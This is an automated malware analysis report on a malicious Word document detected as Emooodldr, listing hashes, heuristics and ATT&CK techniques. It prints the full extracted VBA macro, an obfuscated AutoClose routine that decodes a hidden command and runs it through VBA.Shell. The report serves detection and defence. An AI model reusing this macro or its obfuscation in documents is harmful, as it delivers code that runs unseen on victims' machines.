Emooodldr — Office (OOXML) malware analysis

Static analysis result for SHA-256 cc3ceb50174349d9…

MALICIOUS

Office (OOXML)

53.4 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2018-07-14
MD5: 29ceb92955f0ffc8d347f51555ae46a5 SHA-1: 79321be62ec5edcdb3023b460125939d41e541cb SHA-256: cc3ceb50174349d9346cee8c330b9d172c8260a7a98d38de34c5322cce53c31b
282 Risk Score

Malware Insights

Emooodldr · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is an OOXML document containing VBA macros, specifically an AutoClose macro that is triggered when the document is closed. The macro uses obfuscated string manipulation to construct and execute a command via Application.Run, likely to download and execute a second-stage payload. ClamAV detection confirms this is a known malware variant, Emooodldr.

Heuristics 6

  • ClamAV: Doc.Malware.Emooodldr-6711604-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emooodldr-6711604-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2116 bytes
SHA-256: a0559e5c7e4edf2a027a8e269a307bc27ee8dde8787cb727a28f7eca0485796e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Public Function cels(asymbiotic, backdropped)

  richardia = 507
  moralizedator = -1
  For Each riven In backdropped
    If riven = asymbiotic Then
     richardia = moralizedator
     Exit For
    End If

    moralizedator = moralizedator + 1
    
  Next

  
  If richardia = 507 Then
    richardia = -1
  End If


  cels = richardia + 1
End Function


Private Function colibacterin(spinodal)
  cloture = Array("n", "g", "e", "A", "E", "D", "b", "C", "5", "U", "i", "", "N", "S", "4", "3", "d", "s", "I", "x", "8", "0", "B", "y", "k", "R", "Z")
  telecommutes = Array("e", "=", "i", "j", "q", "x", "?", "s", "m", "n", "a", "t", "h", "w", ":", "u", "N", "p", "d", "c", "r", ".", " ", "b", "/", "o", "l")
  
  glittery = vbNullString
  
  For Each patentabilities In spinodal
    pleatless = Application.Run("cels", patentabilities, cloture)
    If pleatless > -1 Then
    glittery = telecommutes(pleatless) + glittery
    End If
  Next
  
  colibacterin = StrReverse(glittery)
  
End Function

Sub AutoClose()
  spinodal = Array("5", "C", "N", "", "i", "0", "n", "D", "n", "B", "N", "", "", "s", "4", "k", "k", "i", "C", "I", "Z", "A", "U", "R", "E", "S", "I", "U", "R", "E", "S", "I", "E", "S", "E", "S", "S", "E", "n", "0", "x", "R", "5", "k", "d", "d", "k", "C", "5", "e", "D", "0", "s", "N", "s", "b", "3", "", "5", "i", "g", "", "R", "8", "y")
  frightfulness = colibacterin(spinodal)
  
  Application.Run "poles", (frightfulness)
  
End Sub


Private Sub poles(clodpated)
   
   locksmithery = 909
   moneran = True
   
   While moneran
     garava = locksmithery + 611
     If garava - locksmithery > 7 Then
       shopman = voluntarily + "ll"
       Call VBA.Shell(clodpated, vbNormalFocus - 1)
       moneran = False
      End If
     
   Wend

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 11776 bytes
SHA-256: b4b7b498f446ae1d4d7ac9ca4db9659c216807240719c89282134b4b3b8abdbc
Detection
ClamAV: Doc.Malware.Emooodldr-6711604-0
Obfuscation or payload: unlikely

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